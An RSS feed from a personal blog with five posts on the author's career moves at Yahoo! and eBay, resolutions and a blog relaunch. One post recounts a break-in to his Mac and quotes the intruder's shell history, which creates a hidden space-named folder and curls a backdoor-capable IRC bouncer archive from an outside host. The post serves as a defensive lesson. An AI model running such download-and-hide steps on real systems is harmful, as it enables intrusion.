<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>bobpage.net &#187; Personal</title>
	<atom:link href="http://bobpage.net/category/personal/feed/" rel="self" type="application/rss+xml" />
	<link>http://bobpage.net</link>
	<description></description>
	<lastBuildDate>Mon, 28 Jun 2010 06:01:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Hello eBay!</title>
		<link>http://bobpage.net/2010/03/20/hello-ebay/</link>
		<comments>http://bobpage.net/2010/03/20/hello-ebay/#comments</comments>
		<pubDate>Sat, 20 Mar 2010 16:59:52 +0000</pubDate>
		<dc:creator>Bob Page</dc:creator>
				<category><![CDATA[Analytics]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Yahoo]]></category>
		<category><![CDATA[eBay]]></category>

		<guid isPermaLink="false">http://bobpage.net/?p=294</guid>
		<description><![CDATA[Thanks for the emails and tweets around my time off, it was short but sweet. While it would have been great to take more time to decompress, I knew what was ahead &#8212; and felt like a kid on Christmas Eve. I didn&#8217;t want to wait, because &#8230; I&#8217;ve joined eBay. eBay has many fabulous [...]]]></description>
			<content:encoded><![CDATA[<p>Thanks for the emails and tweets around my time off, it was short but sweet.  While it would have been great to take more time to decompress, I knew what was ahead &#8212; and felt like a kid on Christmas Eve.  I didn&#8217;t want to wait, because &#8230; </p>
<p>I&#8217;ve joined <strong>eBay</strong>.</p>
<p>eBay has many fabulous analytical tools already, both commercial and home-grown, for lots of different kinds of analysis.  In addition, they are on a road to build out a whole new class of analytic capabilities based on Hadoop.  They recently reorganized the data initiatives and groups to form a team that re-focuses the &#8220;many standalone tools&#8221; mindset to a &#8220;platform&#8221; for analytics.  This holistic vision, and the &#8220;central data, distributed analysis&#8221; mindset aligns so well with my thinking and interests that I had to make the jump.  As much as I love what Yahoo! is doing with analytics, the opportunity at eBay was too compelling to pass up.  I mean, come on .. it&#8217;s <em>the world&#8217;s largest online marketplace</em>!</p>
<p>My discussions with the eBay leadership team told me two important things.  First, they are ready to make significant investments in data capabilities to drive the next generation of eBay.  Second, the new leadership over the last couple of years is bringing a change to the business, where the company will be much more technology- and innovation-driven than it has been in the past.  Many of the leadership hires in the last 18 months are a testament to that.  And I like to think I am another proof point.</p>
<p>Having cool technology and a leadership team that understands the value of data is a great start.  But the icing on the cake is the level of data and analytics talent within eBay.  It is, in a word, staggering.  I am truly humbled by the opportunity to work with a group of this caliber.</p>
<p>And now, on a Saturday, I&#8217;m off to the <a href="http://www.sfbayacm.org/?p=1341">ACM Data Mining Camp</a>, hosted at eBay&#8217;s north campus&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://bobpage.net/2010/03/20/hello-ebay/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The Last Yodel</title>
		<link>http://bobpage.net/2010/03/05/the-last-yodel/</link>
		<comments>http://bobpage.net/2010/03/05/the-last-yodel/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 00:24:18 +0000</pubDate>
		<dc:creator>Bob Page</dc:creator>
				<category><![CDATA[Analytics]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://bobpage.net/?p=286</guid>
		<description><![CDATA[When I started my keynote presentation at eMetrics Santa Barbara 2006, I said &#8220;there was a time when I was not at Yahoo!, and there will be a time when I&#8217;m no longer at Yahoo!.&#8221; That day has come .. it&#8217;s my last day at Yahoo!. Lest anyone think this means I&#8217;m down on the [...]]]></description>
			<content:encoded><![CDATA[<p>When I started my keynote presentation at eMetrics <a href="http://www.emetrics.org/2006/santabarbara/agenda.php">Santa Barbara 2006</a>, I said &#8220;there was a time when I was not at Yahoo!, and there will be a time when I&#8217;m no longer at Yahoo!.&#8221;  That day has come .. it&#8217;s my last day at Yahoo!.</p>
<p>Lest anyone think this means I&#8217;m down on the company &#8212; it&#8217;s quite the opposite! I&#8217;m more positive than ever about Yahoo!, especially the analytics.  I am very excited about where the company is going with data.  After a short but ill-advised set of changes that de-emphasized a coordinated approach to data and analytics, a new leadership team (read: Carol Bartz) recently reconstituted a central data and analytics group. You may even have heard or read Carol saying we&#8217;re looking for acquisition candidates in the analytics space.  I&#8217;m very glad to see the return of executive leadership that sees the strategic value of data.</p>
<p>I&#8217;ve never been one to talk a lot about Yahoo! and I won&#8217;t start now, especially the internal goings-on, but there&#8217;s new leadership, a new commitment, a new focus, and frankly I&#8217;m really glad to see it happening.  I am also jazzed about the 2010 and 2011 roadmap for our products, including Yahoo! Web Analytics, our advertising analytics products, and for a lot of internal products you haven&#8217;t heard of. Oh, and as I tweeted previously, the YWA team is hiring&#8230;</p>
<p>And with that, a chapter closes. Yahoo! has been good to me, and I like to think I&#8217;ve been good to Yahoo!.  But even the good things don&#8217;t always last forever, and after almost five and half years, it&#8217;s time for me to say goodbye.  I&#8217;m going to take a short break, decompress a little, and then gear up for the next thing.  But that&#8217;s a story for another time.</p>
<p>Yahoo!</p>
]]></content:encoded>
			<wfw:commentRss>http://bobpage.net/2010/03/05/the-last-yodel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In 2009</title>
		<link>http://bobpage.net/2008/12/31/in-2009/</link>
		<comments>http://bobpage.net/2008/12/31/in-2009/#comments</comments>
		<pubDate>Thu, 01 Jan 2009 04:36:53 +0000</pubDate>
		<dc:creator>Bob Page</dc:creator>
				<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://bobpage.net/2008/12/31/in-2009/</guid>
		<description><![CDATA[More fit / Less pizza More photographs / Less pictures More Tinderbox and OmniFocus / Less productivity pr0n More action / Less analysis More blog posts / Less excuses More technology / Less meetings &#160; May you have appropriately more and less in 2009.]]></description>
			<content:encoded><![CDATA[<p>More fit / Less pizza</p>
<p>More photographs / Less pictures</p>
<p>More Tinderbox and OmniFocus / Less productivity pr0n</p>
<p>More action / Less analysis</p>
<p>More blog posts / Less excuses</p>
<p>More technology / Less meetings</p>
<p>&nbsp;</p>
<p>May you have appropriately more and less in 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://bobpage.net/2008/12/31/in-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Break-in</title>
		<link>http://bobpage.net/2008/07/24/the-break-in/</link>
		<comments>http://bobpage.net/2008/07/24/the-break-in/#comments</comments>
		<pubDate>Fri, 25 Jul 2008 05:00:08 +0000</pubDate>
		<dc:creator>Bob Page</dc:creator>
				<category><![CDATA[Mac]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Privacy]]></category>

		<guid isPermaLink="false">http://bobpage.net/2008/07/24/the-break-in/</guid>
		<description><![CDATA[I am so ashamed. I was once a system &#38; network manager, so I know about things like bad passwords and scanning software. Later, I built firewalls for Sun. Lately I&#8217;ve lectured on the importance of locking down your web analytics data, and the precautions you need to take. So imagine my shock to discover [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/musicalwoods/2219478286/"><img src="http://farm3.static.flickr.com/2311/2219478286_c9753cef9f_m.jpg" height="180" width="240" align="right" hspace="4" vspace="4" title="The Scary Door by musicalwds" alt="The Scary Door by musicalwds" /></a></p>
<p>I am so ashamed.</p>
<p>I was once a system &amp; network manager, so I know about things like bad passwords and scanning software. Later, I built firewalls for Sun. Lately I&#8217;ve lectured on the importance of locking down your web analytics data, and the precautions you need to take. So imagine my shock to discover that my home desktop Mac was broken into. Yep. I had enabled remote logins through my firewall, which is innocent enough, but during a fit of debugging some USB problems, I set up new user named &#8220;test&#8221; with a password of .. you guessed it. I remember at the time thinking &#8220;don&#8217;t pick &#8216;test&#8217; as a user name, and certainly don&#8217;t use it as the password&#8221; but I was in a hurry and I did it anyway. I finished my debugging, but forgot about the account.</p>
<p>Oh, and of course, I set it up with full administrator privileges.</p>
<p>Tonight I&#8217;m poking through my log files (I&#8217;m still debugging for the source of this USB error on my system, it&#8217;s driving me nuts), and I notice that some scanning software came by today, trying to log into zillions of accounts. I was smugly scrolling through the list of user names it was trying until I got to &#8220;test&#8221; and &#8230; it didn&#8217;t log in. It didn&#8217;t know the password. I first thought, holy crap, I left that account enabled. Then I thought, how could it not guess the password?</p>
<p>The reason: because somebody else had, three days ago. And changed it.</p>
<p>I brought up a Terminal window, and typed &#8220;last test&#8221; which gives me a list of the previous logins. Sure enough, some fine program/human had logged in to my system three days ago, and stayed for 1 minute. So I went to the &#8220;test&#8221; home directory, where I conveniently found a list of what happened when they logged in:</p>
<pre>
1. w
2. passwd
3. uname -a
4. exit
5. cd /var/tmp
6. mkdir " "
7. cd " "
8. curl -O geocities.com/myhael_ilie/psyd,tar.gz
9. curl -O geocities.com/myhael_ilie/psyd,tar.gz
10. exit
</pre>
<p>Translation:</p>
<ol>
<li>See who&#8217;s on.</li>
<li>Change the password for user &#8220;test&#8221;.</li>
<li>See what kind of system this is.</li>
<li>Logout.</li>
<li>Go to a folder commonly used for temporary files.</li>
<li>Create a folder named &#8221; &#8221; (just a single space).</li>
<li>Change to that folder.</li>
<li>Download a file from the web.</li>
<li>Try the download again.</li>
<li>Give up, and log out.</li>
</ol>
<p>So why did the <code>curl</code> commands fail? It&#8217;s because I use <a href="http://www.obdev.at/products/littlesnitch/index.html">Little Snitch</a>, which asks my permission every time a random command tries to access the Internet. Since I wasn&#8217;t at the computer at the time, I never gave my OK, and Little Snitch prevented the &#8216;curl&#8217; from working. The person would have seen this:</p>
<p><code>curl: (7) Failed to connect to 66.218.77.68: Host is down</code></p>
<p>So what <em>was</em> in <code>psyd,tar.gz</code>? Well, actually it&#8217;s a typo. The real name doesn&#8217;t have a comma in it, but the person who logged in didn&#8217;t notice the mistake because of the &#8220;host is down&#8221; message. I grabbed the correct file and took a look at it. It is <a href="http://en.wikipedia.org/wiki/PsyBNC">psyBNC</a>, an &#8220;IRC bouncer&#8221;, but can be used to install backdoors and other nastiness. The file contains the complete source code, as well as a fully-functioning Mac executable.</p>
<p>Fortunately, that&#8217;s the end of the story. Several lessons here, ones which I&#8217;ve told others far too many times:</p>
<ol>
<li>Do what you can to prevent break-ins.</li>
<li>Log everything so you can figure out how the inevitable break-in happened.</li>
<li>Convenience is often at the expense of security</li>
</ol>
<p>I was incredibly lucky. A simple <code>sudo bash</code> would have given this person root access, and they could have erased everything on my system, or worse. In fact, they <em>could</em> have, and then erased all traces of what they did, but I have enough logging and checks to know that they didn&#8217;t do anything but what&#8217;s described above.</p>
<p>I humbly admit all of this in the hope that you can learn from my near miss.</p>
<p>And yes, I removed the &#8220;test&#8221; account.</p>
]]></content:encoded>
			<wfw:commentRss>http://bobpage.net/2008/07/24/the-break-in/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Resurfacing</title>
		<link>http://bobpage.net/2007/04/12/resurfacing/</link>
		<comments>http://bobpage.net/2007/04/12/resurfacing/#comments</comments>
		<pubDate>Fri, 13 Apr 2007 05:16:54 +0000</pubDate>
		<dc:creator>Bob Page</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://bobpage.net/2007/04/12/resurfacing/</guid>
		<description><![CDATA[Well, it&#8217;s hockey playoff season, so that means it&#8217;s time to resurface the blog. OK, that doesn&#8217;t make any sense, but I wanted to say something about hockey, so there you go. Yes, I really am resurfacing the blog&#8211; upgraded the software and put in a fresh coat of paint. I intend to consolidate a [...]]]></description>
			<content:encoded><![CDATA[<p>Well, it&#8217;s hockey playoff season, so that means it&#8217;s time to resurface the blog.</p>
<p><img src="http://bobpage.net/wp-content/uploads/2007/04/images-model700.jpg" height="266" width="309" border="1" hspace="4" vspace="4" alt=" Zamboni Model700" title=" Zamboni Model700" /></p>
<p>OK, that doesn&#8217;t make any sense, but I wanted to say something about hockey, so there you go.</p>
<p>Yes, I really am resurfacing the blog&#8211; upgraded the software and put in a fresh coat of paint.  I intend to consolidate a few old blogs and assorted posts from the past; there&#8217;s a pile of stuff from Ye Olden Days that will eventually make its way here.</p>
<p>While I&#8217;m not a fan of revisionist blogging, I&#8217;ve cleaned up some of the old posts (broken links) and deleted a few posts that made no sense &#8211; e.g. they were too time-based to be of even token value now.</p>
<p>The New and Improved site is being watched by Google, because I&#8217;m sending <span style="text-decoration:line-through;">web bugs</span> beacons back to Google Analytics.  I&#8217;m also publishing the feed through Feedburner, which provides its own set of (rather weak) stats.</p>
<p>For you RSS readers, no big changes, except that the whole feed got refreshed with the software changes.  Oops.</p>
<p>So what&#8217;s the story?  Simple.  I got crazy busy, and blogging fell below the line.  Not just writing &#8212; reading did too.  Months ago, a colleague mentioned that he&#8217;s more interesting when he reads blogs.  I&#8217;ve started reading again, but if there&#8217;s a correlation between amount of reading and interestingness, I&#8217;m still not very interesting.  But since being interesting has never stopped me from blogging, I say Game On!</p>
]]></content:encoded>
			<wfw:commentRss>http://bobpage.net/2007/04/12/resurfacing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
